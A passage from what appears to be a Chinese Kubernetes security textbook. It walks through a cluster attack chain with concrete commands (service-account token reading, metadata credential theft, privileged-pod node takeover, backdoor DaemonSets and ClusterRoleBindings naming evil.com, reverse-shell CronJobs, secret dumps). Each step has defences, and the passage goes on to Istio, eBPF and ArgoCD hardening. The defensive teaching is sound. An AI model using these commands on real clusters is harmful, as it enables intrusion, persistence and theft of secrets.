    cat /var/run/secrets/kubernetes.io/serviceaccount/token   # 拿 token
    curl -k -H "Authorization: Bearer $TOKEN" \
      https://$KUBERNETES_SERVICE_HOST/apis/authorization.k8s.io/v1/selfsubjectrulesreview

  ★★ 防守:
    ☑ automountServiceAccountToken: false(★ 这一条就能挡住整个第 1 步)
    ☑ Falco 规则:读取 SA token → CRITICAL 告警
    ☑ 最小权限 RBAC(default SA 只有很少权限)

【第 2 步】探测:我能访问什么?
─────────────────────────────────────────────────────────
  攻击:
    # ① 扫内网(K8s 默认全通!)
    for i in $(seq 1 254); do
      timeout 0.2 bash -c "echo > /dev/tcp/10.0.0.$i/6379" 2>/dev/null && echo "Redis: 10.0.0.$i"
    done

    # ② 访问云元数据(拿节点角色的云凭据)
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

    # ③ 访问 kubelet
    curl -sk https://$NODE_IP:10250/pods

    # ④ 访问 etcd
    etcdctl --endpoints=http://10.0.1.10:2379 get / --prefix

  ★★ 防守:
    ☑ NetworkPolicy:默认拒绝 Egress(★ 挡住扫描和外联)
    ☑ NetworkPolicy:169.254.169.254 加入 except(★ 挡住云凭据窃取)
    ☑ IMDSv2 + hop limit = 1
    ☑ kubelet 匿名认证关闭
    ☑ etcd 客户端证书认证 + 防火墙
    ☑ Falco:访问元数据 → CRITICAL

【第 3 步】提权:从普通 SA 到集群管理员
─────────────────────────────────────────────────────────
  攻击(几种路径):

  路径 A:读其他 SA 的 token
    kubectl get secrets -A | grep service-account-token
    kubectl get secret <sa-token-secret> -o jsonpath='{.data.token}' | base64 -d
    # ★ 如果其中某个 SA 有 cluster-admin → 直接用它的 token

  路径 B:创建特权 Pod 接管节点
    kubectl apply -f privileged-pod.yaml    # hostPID + hostPath / + privileged
    kubectl exec -it node-takeover -- chroot /host
    # ★ 现在你是节点 root,节点上有:
    #   - /var/lib/kubelet/pods/*/volumes/.../token(所有 Pod 的 SA token)
    #   - 节点的 kubeconfig
    #   - 云角色凭据(通过 IMDS)

  路径 C:利用 RBAC 提权(有 escalate/bind 权限)
    kubectl create clusterrolebinding pwn \
      --clusterrole=cluster-admin --user=system:serviceaccount:default:my-sa

  ★★ 防守:
    ☑ ★★ Pod Security Admission = restricted(★ 唯一能挡住路径 B 的)
    ☑ 不给 default SA 任何额外权限(★ 挡住路径 A)
    ☑ Secret 的 get/list 权限严格限制
    ☑ 绝不给 escalate / bind / impersonate
    ☑ etcd 静态加密(即使能读也解不开)
    ☑ 用投影 Volume 的短期 token(路径 A 拿到的 token 很快过期)

【第 4 步】持久化:留后门
─────────────────────────────────────────────────────────
  攻击:

    手法 1:创建隐藏的 ClusterRoleBinding
      kubectl create clusterrolebinding system-update \
        --clusterrole=cluster-admin --user=attacker@evil.com
      # ★ 名字起得像系统组件,不容易被发现

    手法 2:★ DaemonSet 后门(★ 每个节点上都有)
      apiVersion: apps/v1
      kind: DaemonSet
      metadata:
        name: node-metrics-agent      # ★ 名字伪装成监控组件
        namespace: kube-system        # ★ 藏在系统命名空间
      spec:
        template:
          spec:
            hostPID: true
            containers:
            - name: agent
              image: evil/backdoor:latest
              securityContext:
                privileged: true
              volumeMounts:
              - name: host
                mountPath: /host
      # ★ 效果:新加入的节点也会自动部署,删掉会自动重建

    手法 3:★ 在 kubelet 里改静态 Pod 目录
      echo '<malicious pod yaml>' > /etc/kubernetes/manifests/backdoor.yaml
      # 所在节点的 kubelet 会自动拉起这个 Pod
      # ★★ 而且用 kubectl delete 删不掉(kubelet 会重建)

    手法 4:修改 webhook 配置(拦截所有 API 请求)
      kubectl edit mutatingwebhookconfiguration <legit-webhook>
      # 把 URL 改成攻击者的服务器 → 能窃取所有创建的资源(含 Secret)

    手法 5:CronJob 定时反弹 shell
      kubectl create cronjob backup --image=evil/rev --schedule="*/5 * * * *"

  ★★ 防守:
    ☑ 审计日志开启(★ 所有创建/修改操作都在案)
    ☑ ★ 告警:任何 system:* 之外的新 ClusterRoleBinding
    ☑ 告警:kube-system 命名空间的新 DaemonSet / Deployment
    ☑ GitOps(ArgoCD/Flux)—— ★ 集群状态与 git 比对,漂移即告警
    ☑ ★ 这一条最有效:定期核对 RBAC 和 kube-system 资源清单
    ☑ Falco:写入 /etc/kubernetes/manifests → CRITICAL

【第 5 步】收割:拿数据 / 挖矿
─────────────────────────────────────────────────────────
  攻击:
    kubectl get secrets -A -o json > all-secrets.json     # 全部 Secret
    kubectl exec -it <db-pod> -- mysqldump -A > db.sql    # 数据库
    # 或者批量起挖矿 DaemonSet

  ★★ 防守:
    ☑ NetworkPolicy Egress 白名单(★ 挡住外传和矿池连接)
    ☑ 敏感 Secret 用外部管理(Vault),且访问有审计
    ☑ Falco:矿池端口/域名告警
    ☑ 云侧:GuardDuty / 云安全中心检测异常 API 调用

═══════════════════════════════════════════════════════════════
 ★★★ 防守优先级总结(如果只能做五件事)
═════════════════════════════════════════════════════════════
   1. ★★★ automountServiceAccountToken: false
      (挡住攻击链第 1 步,成本最低)

   2. ★★★ Pod Security Admission = restricted
      (挡住特权 Pod,也就挡住了节点接管)

   3. ★★★ NetworkPolicy 默认拒绝 Egress
      (挡住横移、外联、挖矿、数据外传)

   4. ★★★ 最小权限 RBAC + 不给 default SA 额外权限
      (限制爆炸半径)

   5. ★★ 审计日志 + Falco
      (出事后能查清楚 + 实时告警)
═════════════════════════════════════════════════════════════

10.5 服务网格与新兴云原生攻击面

★ 一句话:云原生世界每引入一层“方便”的抽象(服务网格、eBPF、GitOps、AI 平台), 就同时引入了一层新的、大多数人还不熟悉的攻击面。

10.5.1 服务网格(Service Mesh)是什么

★ 名词:Service Mesh(服务网格) 白话:给微服务之间的通信加一层“统一管理”的基础设施。 原来 A 服务调用 B 服务的逻辑写在代码里(重试、超时、TLS、鉴权), 现在抽出来交给一个专门的代理(sidecar)去做。

★ 名词:Sidecar(边车) 白话:每个 Pod 旁边自动塞进去的一个“小助手容器”。 你发请求时,请求先经过这个小助手,它负责加密、鉴权、记录日志、重试。 ★ 名字来自摩托车的挎斗(sidecar)。

★ 名词:Envoy / Istio / Linkerd

  • Envoy:最流行的代理软件(Lyft 开源),sidecar 通常就是它
  • Istio:最流行的服务网格(Google/IBM 出品),用 Envoy 做数据面
  • Linkerd:更轻量,用 Rust 写的自研代理
★ 没有服务网格 vs 有服务网格

  【没有服务网格】
    ┌────────┐                    ┌────────┐
    │ 服务 A │ ─── HTTP 明文 ───▶ │ 服务 B │
    └────────┘                    └────────┘
      ↑ 代码里要自己写:
        - TLS 证书管理
        - 重试 / 超时 / 熔断
        - 调用链追踪
        - 访问日志
        - ★ 服务间鉴权(谁允许调谁)
      ★ 问题:每个服务都要写一遍,语言不同实现不同,改一次要全发版

  【有服务网格】
    ┌────────────────────────────┐
    │ Pod A                       │
    │  ┌──────┐    ┌──────────┐  │
    │  │ 应用 │───▶│ Envoy    │  │       ┌──────────────────┐
    │  │      │    │ (sidecar)│  │       │   控制面          │
    │  └──────┘    └────┬─────┘  │       │  (Istiod)        │
    └───────────────────┼────────┘       │  - 发证书         │
                        │                │  - 下发策略       │
                    mTLS│                │  - 服务发现       │
                        ▼                └────────┬─────────┘
    ┌────────────────────────────┐                │
    │ Pod B                       │                │ 下发配置和证书
    │  ┌──────────┐    ┌──────┐  │◀───────────────┘
    │  │ Envoy    │───▶│ 应用 │  │
    │  │ (sidecar)│    │      │  │
    │  └──────────┘    └──────┘  │
    └────────────────────────────┘

  ★ 好处:
    ① 应用代码零改造(★ 证书、重试全由 sidecar 干)
    ② 统一策略(在控制面写一条规则,全集群生效)
    ③ ★ 全链路 mTLS(服务间通信自动加密 + 双向认证)
    ④ 细粒度可观测(每次调用都有指标、日志、追踪)

★ 名词:mTLS(mutual TLS,双向 TLS) 白话:不只是“客户端验证服务器”,而是“两边互相验证”。 生活类比:

  • 普通 TLS:你去银行,银行出示营业执照,你确认它是真银行(单向)
  • mTLS:银行还要看你的身份证,确认你是本人(双向)

10.5.2 服务网格带来的四个安全能力

┌────────────────────────────────────────────────────────────┐
│ 能力 1:★★★ 零信任网络(Zero Trust)                          │
├────────────────────────────────────────────────────────────┤
│ ★ 传统模型:内网 = 可信                                        │
│   "进了内网就是自己人"                                        │
│   → 攻击者突破边界后横行无阻(见第七章)                       │
│                                                              │
│ ★ 零信任模型:★ 从来不信任网络,只信任身份                     │
│   每次调用都要:                                               │
│     ① 你是谁?(mTLS 证书里带的 SPIFFE ID)                    │
│     ② 你能不能调这个服务的这个接口?(授权策略)                │
│                                                              │
│ ★★ 这正是服务网格最核心的安全价值:                            │
│    即使攻击者已经进了某个 Pod,                                │
│    他也【不能】调用其他服务(授权策略会拦住)                  │
│    → ★ 直接把"横向移动"这条路堵死了大半                        │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 能力 2:★★ L7(应用层)授权策略                                │
├────────────────────────────────────────────────────────────┤
│ NetworkPolicy 只能做到 L3/L4(IP + 端口):                    │
│   "允许 A 访问 B 的 8080 端口"                                │
│                                                              │
│ ★ 服务网格的 AuthorizationPolicy 能做到 L7:                   │
│   "允许 A(身份)对 B 的 /api/v1/users 发 GET,              │
│    但不允许 POST/DELETE;                                     │
│    且必须带有效的 JWT,且 JWT 的 group 必须是 admin"           │
│                                                              │
│ ★ 生活类比:                                                  │
│   L4 = 小区门禁(有卡就能进小区)                              │
│   L7 = 单元门禁 + 电梯权限 + 房门钥匙(每层都验证)             │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 能力 3:★★ 通信加密自动化(解决"加密太麻烦所以不加密")         │
├────────────────────────────────────────────────────────────┤
│ ★ 现实中 90% 的微服务之间的通信是【明文】的                    │
│   为什么?因为配置 TLS 太麻烦:                                │
│     - 要签发证书                                               │
│     - 要管理证书轮换                                           │
│     - 要在代码里加载证书                                       │
│     - 每种语言写法不一样                                       │
│                                                              │
│ ★ 服务网格:★ 全自动                                          │
│   ① 控制面给每个 SA 签证书(SPIFFE 格式,默认 24 小时轮换)    │
│   ② sidecar 自动加载、自动轮换                                 │
│   ③ 应用代码【完全不用改】,还是发 HTTP                        │
│   ★ sidecar 在中间自动升级成 mTLS                              │
│                                                              │
│ ★ 这就是"让安全变得比不安全更省事"的典型例子                   │
│   → ★★ 安全落地的最佳方式永远是这个:让正确的事更容易做         │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ 能力 4:★ 完整的可观测性(出事后能查)                          │
├────────────────────────────────────────────────────────────┤
│ 每次服务调用都会记录:                                          │
│   - 谁调的(源身份)                                           │
│   - 调了谁(目标服务 + 路径)                                   │
│   - 结果(200 / 403 / 500)                                    │
│   - 耗时、流量大小                                             │
│                                                              │
│ ★ 安全价值:                                                  │
│   ① 能发现异常调用(如:前端服务突然去调数据库服务)            │
│   ② 能画出完整的调用关系图(攻击面一目了然)                    │
│   ③ ★ 出事后能精确还原"他访问了哪些服务、拿到了什么"            │
└────────────────────────────────────────────────────────────┘

★ Istio 安全策略实战

# ============================================================
# ① 强制全集群 mTLS(★ 第一步就该配的)
# ============================================================
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
  name: default
  namespace: istio-system        # ★ 在根命名空间配置 = 全集群生效
spec:
  mtls:
    mode: STRICT                 # ★ STRICT = 必须用 mTLS
    # PERMISSIVE = 明文和 mTLS 都接受(★ 迁移期用,最终要切 STRICT)
---
# ============================================================
# ② ★★ L7 授权策略:默认拒绝所有
# ============================================================
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: deny-all
  namespace: production
spec:
  {}                             # ★ 空的 spec = 拒绝所有
  # ★★ 注意:Istio 默认是【允许所有】!必须显式配置默认拒绝
---
# ============================================================
# ③ 精确的放行规则
# ============================================================
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: allow-web-to-api-readonly
  namespace: production
spec:
  selector:
    matchLabels:
      app: api                   # 规则作用在 api 服务上
  action: ALLOW
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/production/sa/web-sa"]    # ★★ 基于身份,不是 IP!
    to:
    - operation:
        methods: ["GET", "HEAD"]          # ★★ 只允许读
        paths: ["/api/v1/users/*", "/api/v1/products/*"]
        ports: ["8080"]
    when:
    - key: request.auth.claims[groups]     # ★★ 还要校验 JWT 里的 groups
      values: ["user", "admin"]
---
# ============================================================
# ④ 管理员操作需要更严格的条件
# ============================================================
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: allow-admin-write
  namespace: production
spec:
  selector:
    matchLabels:
      app: api
  action: ALLOW
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/production/sa/admin-portal-sa"]
    to:
    - operation:
        methods: ["POST", "PUT", "DELETE"]
        paths: ["/api/v1/admin/*"]
    when:
    - key: request.auth.claims[groups]
      values: ["admin"]
    - key: source.ip                      # ★ 还可以加 IP 限制(双重条件)
      values: ["10.0.0.0/8"]
---
# ============================================================
# ⑤ ★ 基于 JWT 的终端用户认证(RequestAuthentication)
# ============================================================
apiVersion: security.istio.io/v1
kind: RequestAuthentication
metadata:
  name: jwt-auth
  namespace: production
spec:
  selector:
    matchLabels:
      app: api
  jwtRules:
  - issuer: "https://auth.example.com"
    jwksUri: "https://auth.example.com/.well-known/jwks.json"
    audiences:
    - "api.example.com"
    forwardOriginalToken: true
---
# ============================================================
# ⑥ ★ 出口流量控制(防止数据外传)
# ============================================================
apiVersion: networking.istio.io/v1
kind: ServiceEntry
metadata:
  name: external-allowlist
  namespace: production
spec:
  hosts:
  - "api.weixin.qq.com"
  - "*.aliyuncs.com"
  location: MESH_EXTERNAL
  ports:
  - number: 443
    name: https
    protocol: HTTPS
  resolution: DNS
---
# ★★ 关键:把出口策略设为 REGISTRY_ONLY = 只能访问白名单里的外部域名
#    Istio 安装时配置:
#    meshConfig.outboundTrafficPolicy.mode = REGISTRY_ONLY
#    (默认是 ALLOW_ANY = 允许访问任何外部地址)

10.5.3 服务网格自身的安全风险(★ 容易被忽视)

★★★ 引入服务网格 = 引入了一个【新的、权限极大的组件】

  风险 1:★★★ 控制面(Istiod)是新的"皇冠珠宝"
  ─────────────────────────────────────────────
    Istiod 掌管:
      - ★ 所有服务的证书签发私钥
      - 所有路由规则和授权策略
      - 所有服务的配置

    ★ 攻破 Istiod = 攻破整个网格:
      - 可以给自己签发任意身份的证书 → 冒充任何服务
      - 可以修改授权策略 → 放行所有流量
      - 可以修改路由 → 把流量劫持到攻击者的服务(★ 中间人)

    ★ 防护:
      ☑ Istiod 所在命名空间严格 RBAC(极少人能访问)
      ☑ ★ 根证书(CA)私钥应该用外部 KMS/Vault 保护,而不是存在集群里
      ☑ 审计 Istiod 所在命名空间的所有操作
      ☑ 用 Kyverno/PSA 保护 istio-system 命名空间

  风险 2:★★ Sidecar 注入被滥用
  ─────────────────────────────────────────────
    ★ 攻击场景:如果攻击者能创建 Pod 并控制 sidecar 注入,
      他可以:
      - 注入一个【恶意的 sidecar 镜像】→ 所有流量都被他看到
      - 修改 sidecar 的配置 → 绕过 mTLS

    ★ 防护:
      ☑ 只有特定命名空间允许自动注入(不要在 default 开)
      ☑ 镜像必须来自私有仓库且验签
      ☑ ★ 用 Kyverno 限制 sidecar 的配置(如禁止改 meshConfig)

  风险 3:★★ mTLS 的 PERMISSIVE 模式是个陷阱
  ─────────────────────────────────────────────
    ★ PERMISSIVE = 同时接受明文和 mTLS
      → 本意是方便迁移(老服务还没上 mesh)
      → ★ 但攻击者可以直接发明文请求,完全绕过身份认证!

    ★ 真实问题:很多团队开了 PERMISSIVE 之后就【忘了切回 STRICT】
      → mTLS 形同虚设

    ★ 防护:
      ☑ 迁移期结束后必须切 STRICT
      ☑ ★ 用脚本定期检查是否有 PERMISSIVE 的策略
      ☑ 用 istioctl x describe 检查服务的 mTLS 状态

  风险 4:★ 授权策略的"默认允许"
  ─────────────────────────────────────────────
    ★★ Istio 默认【允许所有】请求!
      (跟 K8s NetworkPolicy 默认允许一样,反直觉)
      → 你必须显式配置 deny-all,然后逐条放行

    ★ 很多团队以为"装了 Istio 就有零信任了"
      → ★ 实际上不配 AuthorizationPolicy 的话,跟没装一样

  风险 5:★ 网格边界的"裸奔"流量
  ─────────────────────────────────────────────
    ★ Ingress Gateway 之外的流量不受网格管理
    ★ 没有注入 sidecar 的 Pod(如 kube-system 里的)也不受管理
    ★ 直接通过 Pod IP 访问可以绕过 sidecar

    ★ 防护:
      ☑ 用 NetworkPolicy 强制所有流量经过 sidecar
        (只允许来自 istio-proxy 的入站流量)
      ☑ 或者用 Istio 的 CNI 插件 + 流量劫持(iptables 模式)

  风险 6:★ 可观测性数据本身泄露信息
  ─────────────────────────────────────────────
    ★ Envoy 的访问日志里可能有:URL 参数、请求头(含 Cookie/Token)
    ★ Kiali(Istio 的可视化面板)默认无认证!
      → 任何人访问 Kiali 就能看到整个网格的拓扑图
    ★ Prometheus 里的指标可能泄露业务信息

    ★ 防护:
      ☑ Kiali / Grafana / Prometheus 必须加认证(★ 默认没有!)
      ☑ 访问日志脱敏(敏感 header 不记录)
      ☑ 监控面板不对外暴露
# ============================================================
# Istio 安全检查脚本
# ============================================================
#!/bin/bash

echo "════ 1. ★ 检查 mTLS 模式(有没有 PERMISSIVE 残留) ════"
kubectl get peerauthentication -A -o json | jq -r '
  .items[]
  | "  \(.metadata.namespace)/\(.metadata.name): \(.spec.mtls.mode // "未设置(继承上层)")"
' | grep -v STRICT
# ★ 输出里如果有 PERMISSIVE 或 DISABLE,需要说明原因

echo ""
echo "════ 2. ★★ 检查每个命名空间的默认授权策略 ════"
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep -v 'kube-\|istio-'); do
  POLICIES=$(kubectl get authorizationpolicy -n $ns -o json 2>/dev/null | jq -r '.items[] | select(.spec.action == "DENY" or (.spec | has("rules") | not)) | .metadata.name')
  if [ -z "$POLICIES" ]; then
    echo "  ★ [!] 命名空间 $ns 没有默认拒绝策略(默认允许所有!)"
  else
    echo "  ✓ 命名空间 $ns 有默认策略: $POLICIES"
  fi
done

echo ""
echo "════ 3. ★ 检查 Istiod 的访问权限 ════"
kubectl get clusterrole,clusterrolebinding -A -o json \
  | jq -r '.items[] | select((.metadata.name | tostring) | test("istio")) | "  \(.kind)/\(.metadata.name)"'

echo ""
echo "════ 4. ★ 哪些命名空间开了自动 sidecar 注入 ════"
kubectl get namespace -L istio-injection | grep -v "istio-injection" | awk '{print "  " $1 ": " $NF}'

echo ""
echo "════ 5. ★★ 用 istioctl 检查配置问题 ════"
istioctl analyze -A
# ★ 输出示例:
#   Error [IST0107] (AuthorizationPolicy production/foo) No matching workloads
#   Warning [IST0134] (PeerAuthentication default) mtls mode PERMISSIVE

10.5.4 eBPF:强大的双刃剑

★ 名词:eBPF(extended Berkeley Packet Filter) 白话:一种能在 Linux 内核里安全地运行小程序的技术, 不用改内核源码、不用加载内核模块,就能“看到和干预”系统里发生的一切。

★ 为什么它火(2014~2026)

  以前想在内核里做点事(如抓包、监控系统调用):
    方式 1:改内核源码 → ★ 不现实
    方式 2:写内核模块 → ★ 一个 bug 就 kernel panic(整机宕机)

  eBPF:
    ★ 写的程序先经过内核的【验证器】严格检查
      (是否可能死循环、是否访问非法内存、是否能终止)
    ★ 通不过就不让运行
    → ★ 安全性大幅提升

★ 应用(★ 你会天天用到,只是不知道):
    ✓ 网络:Cilium(K8s CNI)、XDP 高性能防火墙、负载均衡
    ✓ 可观测:Pixie、Hubble、bpftrace、BCC 工具集
    ✓ 安全:Falco(eBPF 模式)、Tetragon、Tracee
    ✓ 性能分析:perf、火焰图

★ eBPF 的攻击面(★ 这是新兴的、很多人不知道的)

风险 1:★★★ eBPF 程序能看到【一切】

   一个加载到内核的 eBPF 程序可以:
     - 抓取所有网络包(★ 包括 TLS 握手前的数据,以及明文流量)
     - 监控系统调用(能看到所有进程的所有动作)
     - ★ 读取任意进程的内存(配合特定 helper)
     - 拦截系统调用并篡改参数(★ 后门!)

   ★ 所以:加载 eBPF 程序 ≈ 拥有 root 权限
     → ★★ 攻击者的新目标:能加载 eBPF = 事实上的 root

风险 2:★★ 恶意 eBPF Rootkit(★ 2019 年后出现的新型后门)

   传统 rootkit:加载内核模块(LKM)→ 容易被检测到(在 /proc/modules 里)
   eBPF rootkit:★ 不在模块列表里,藏得更深

   能做什么(真实工具 ebpfkit / bpfdoor / Symbiote):
     ✓ 隐藏进程(让 ps 看不到挖矿进程)
     ✓ 隐藏网络连接(让 netstat 看不到 C2 连接)
     ✓ 隐藏文件(让 ls 看不到恶意文件)
     ★ 隐藏自己(让 bpftool prog list 看不到自己!)
     ✓ 劫持命令执行(把 kill 命令变成 no-op)
     ✓ 绕过防火墙(在 XDP 层放行攻击者的 IP)

   ★★ 检测难点:
     没有文件时,传统的文件完整性检查没用
     → 需要:bpftool prog list(★ 但 rootkit 能隐藏自己)
            /proc/kallsyms 检查
            内存取证(Volatility 有 eBPF 检测插件)
            行为异常检测(CPU 使用率高但看不到进程)

风险 3:★ 容器内的 eBPF 攻击

   ★ 问题:eBPF 是【全局的】,没有 namespace 隔离!
     容器里的一个进程如果能加载 eBPF,
     它能影响【整个宿主机】的所有进程

   → ★★ 所以:容器必须禁止 CAP_BPF 和 CAP_SYS_ADMIN
     (这两个 capability 是加载 eBPF 所必需的)

   ★ 好消息:Linux 5.8+ 引入了 CAP_BPF,可以单独控制
     → 但仍然要小心:CAP_BPF + 其他几个 cap 组合 = 依然危险
# ============================================================
# eBPF 安全检查
# ============================================================

echo "════ 1. ★ 查看当前加载的所有 eBPF 程序 ════"
bpftool prog list
# ★ 输出示例:
#   12: cgroup_device  name sd_devices  tag a1b2c3d4  gpl
#   17: kprobe  name trace_exec  tag e5f6g7h8  gpl
#       loaded_at 2026-09-02T10:23:45+0800  uid 0
#       ★ 注意 uid 0 = root 加载的,正常
#               如果 uid 是非 0 用户 = ★ 可疑

echo ""
echo "════ 2. ★ 查看 eBPF maps(程序间共享数据的地方) ════"
bpftool map list

echo ""
echo "════ 3. ★ 检查谁有加载 eBPF 的权限 ════"
# 检查 capability
grep -E "CapEff|CapBnd" /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
# ★ 看输出里有没有 cap_bpf 或 cap_sys_admin

echo ""
echo "════ 4. ★★ 容器里的检查(最重要) ════"
kubectl get pods -A -o json | jq -r '
  .items[]
  | . as $pod
  | (.spec.containers[]? | select(
      ((.securityContext.capabilities.add // []) | any(. == "BPF" or . == "SYS_ADMIN" or . == "ALL"))
      or (.securityContext.privileged == true)
    ))
  | "  ★★★ \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \(.name) 有 eBPF 相关权限"
'

echo ""
echo "════ 5. ★ 检测 eBPF rootkit ════"
# 方法 1:对比不同视角的进程列表(★ rootkit 只能骗过一部分)
ps aux | wc -l
ls /proc | grep -E '^[0-9]+$' | wc -l     # ★ 如果两个数不一致 = 可能有问题

# 方法 2:对比网络连接
ss -tulnp | wc -l
cat /proc/net/tcp | wc -l

# 方法 3:看 CPU 使用率和"可见进程"是否匹配
top -bn1 | head -15
# ★ 如果 CPU 100% 但 top 里看不到哪个进程在用 = ★ 高度可疑

# 方法 4:用支持 eBPF 检测的取证工具
#   Volatility 3 的 linux.check_ebpf 插件
★ eBPF 安全的建议

  防御侧:
    ☑ 容器不给 CAP_BPF / CAP_SYS_ADMIN(★ 最重要)
    ☑ 生产环境考虑禁用非特权 eBPF(kernel.unprivileged_bpf_disabled=1)
      ★ 但注意:这会禁掉很多正常的监控工具,要评估
    ☑ 用 LSM BPF(eBPF 自己来管控 eBPF 的加载)
    ☑ 监控 bpftool prog list 的变化(基线 + 告警)
    ☑ 节点用只读根文件系统 + 完整性校验

  检测侧:
    ☑ 定期对比 ps / /proc / ss 的一致性
    ☑ CPU 异常但无对应进程 → 深入排查
    ☑ ★ 用 Tetragon(Cilium 出品)监控 eBPF 程序加载行为

10.5.5 GitOps 安全(ArgoCD / Flux)

★ 名词:GitOps 白话:把 git 当作“唯一的事实来源”,集群的状态由 git 仓库自动同步。 你想改集群?改 git,别改集群。

★ 工作流程

   开发改代码 ──push──▶ git 仓库 ──▶ CI 构建镜像 ──▶ 更新 manifest
                                                          │
                                                          ▼
                                                    git(manifest 仓库)
                                                          │
                                          ┌───────────────┴──────────────┐
                                          │  ArgoCD / Flux(在集群里)     │
                                          │  ① 定期拉取 git               │
                                          │  ② 比对 git 状态 vs 集群状态  │
                                          │  ③ 不一致 → 自动同步          │
                                          └───────────────┬──────────────┘
                                                          ▼
                                                    K8s 集群

★★ 安全价值(★ 这是 GitOps 最大的安全好处):

   ① ★★ 本质上消灭了"手工改生产"这条路径
      → 所有变更都有 git 记录(谁、什么时候、改了什么、为什么)
      → ★ 出事后能完整还原时间线(对应第八章的取证需求)

   ② ★★ 自动漂移修复
      攻击者改了集群(如加了个后门 DaemonSet)
      → ArgoCD 发现与 git 不一致 → ★ 自动删掉后门
      → ★★ 这直接废掉了 10.4.10 里"手法 2:DaemonSet 后门"!
           (攻击者加的 DaemonSet 不在 git 里,会被自动清理)

   ③ 所有变更走 PR → 有 review、有 CI 检查
      → 可以直接集成 Checkov / Kyverno 扫描

   ④ ★ 快速恢复
      集群被搞坏了 → git revert → 自动回滚
      ★ 这比任何备份恢复都快

★ 但 GitOps 引入了新的攻击面

风险 1:★★★ git 仓库成了新的"皇冠珠宝"
────────────────────────────────────────────
    ★ 以前:要攻破集群,得攻破集群
    ★ 现在:★ 攻破 git 仓库 = 攻破集群
            (改一下 manifest,ArgoCD 会帮你部署到生产)

    ★ 防护:
      ☑ manifest 仓库的写权限严格限制(★ 比代码仓库更严格)
      ☑ 强制 PR review(★ 至少 1 人,敏感目录 2 人)
      ☑ ★ 分支保护:禁止 force push、禁止直接 push 到 main
      ☑ 签名提交(GPG / SSH 签名)+ 验证
      ☑ ★ ArgoCD 的 webhook 只接受来自可信 git 平台的请求

风险 2:★★★ ArgoCD / Flux 本身权限极大
────────────────────────────────────────────
    ★ ArgoCD 需要能创建【任何资源】(Deployment、Secret、CRD...)
    → 它通常是集群里权限最大的 SA

    ★ 攻破 ArgoCD = 攻破整个集群:
      - 可以用它的 SA 做任何事
      - 可以修改 Application 配置指向恶意 git 仓库
      - ★ 可以读取它管理的所有 Secret

    ★ 防护(★ 非常关键):
      ☑ ★★ ArgoCD 的管理界面必须:
         - 启用 SSO(不要用它自带的 admin:xxxx 初始密码!)
         - ★ 不对外暴露(用 VPN / 内网)
         - 开启审计日志
      ☑ ★★ 用 AppProject 严格限制每个 Application 能:
         - 部署到哪些命名空间(destination)
         - 创建哪些类型的资源(resource whitelist)
         - 从哪些 git 仓库拉取(sourceRepos)
      ☑ ArgoCD 自身的 Secret 用外部管理(Vault)
      ☑ ★ 定期轮换 ArgoCD 的 git 凭据

风险 3:★★ 初始密码 / 默认配置(★ 最常见的实际入侵方式)
────────────────────────────────────────────
    ★ ArgoCD 安装后默认:
      - 用户名 admin
      - ★ 密码存在名为 argocd-initial-admin-secret 的 Secret 里
        (base64,等于明文)
      - ★★ 很多人装完不改,而且把 ArgoCD 暴露到公网
      → ★★ 直接用默认密码登录 = 集群管理员

    ★ 其他默认配置风险:
      - ArgoCD 的 API/UI 默认允许匿名只读(能看到所有应用和 Secret!)
      - 自签证书(中间人风险)

风险 4:★ 供应链传递(manifest 仓库引用外部资源)
────────────────────────────────────────────
    ★ manifest 里如果引用了:
      - 外部 Helm chart(可能来自不可信的仓库)
      - 远程 YAML(URL)
      - ConfigMap 里的远程脚本
    → ★★ 上游被投毒,你的集群自动部署恶意版本

    ★ 防护:
      ☑ Helm chart 必须来自内部仓库或验签
      ☑ ★ 固定版本号(不要用 latest 或 range)
      ☑ 禁止 manifest 里的远程引用
# ============================================================
# ★ ArgoCD 安全加固配置
# ============================================================

# ① ★★ 用 AppProject 限制权限(★ 最重要的加固)
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: production-apps
  namespace: argocd
spec:
  description: 生产环境应用(严格限制)

  # ★ 只能部署到这两个命名空间
  sourceNamespaces:
  - argocd

  destinations:
  - namespace: production
    server: https://kubernetes.default.svc
  - namespace: production-db
    server: https://kubernetes.default.svc
  # ★★ 不给 * !否则能部署到 kube-system

  # ★ 只能从这个 git 仓库拉取
  sourceRepos:
  - https://git.example.com/platform/manifests.git
  # ★ 不用 * 

  # ★★ 只能创建这些类型的资源
  clusterResourceWhitelist: []        # ★ 空的 = 不能创建集群级资源(如 ClusterRole!)
  namespaceResourceWhitelist:
  - group: ''
    kind: Deployment
  - group: ''
    kind: Service
  - group: ''
    kind: ConfigMap
  - group: ''
    kind: Ingress
  # ★★ 故意【不包含】:
  #    - Secret(防止 secret 从 git 同步)
  #    - DaemonSet(防止节点级后门)
  #    - ClusterRole / ClusterRoleBinding(防止权限提升)
  #    - CustomResourceDefinition

  # ★ 禁止黑名单资源(双保险)
  namespaceResourceBlacklist:
  - group: ''
    kind: ResourceQuota
  - group: 'rbac.authorization.k8s.io'
    kind: '*'

  roles:
  - name: prod-deployer
    description: 生产环境部署权限
    policies:
    - p, proj:production-apps:prod-deployer, applications, sync, production-apps/*, allow
    - p, proj:production-apps:prod-deployer, applications, get, production-apps/*, allow
    # ★★ 不给 delete、不给 create(防止新建恶意 Application)
    groups:
    - platform-team
---
# ② ★★ 禁用匿名访问(argocd-cm ConfigMap)
apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  # ★★ 默认是 'readonly',必须改成 ''(禁用匿名)
  users.anonymous.enabled: "false"

  # ★ 强制 SSO
  url: https://argocd.internal.example.com
  # OIDC 配置
  oidc.config: |
    name: Okta
    issuer: https://example.okta.com/oauth2/default
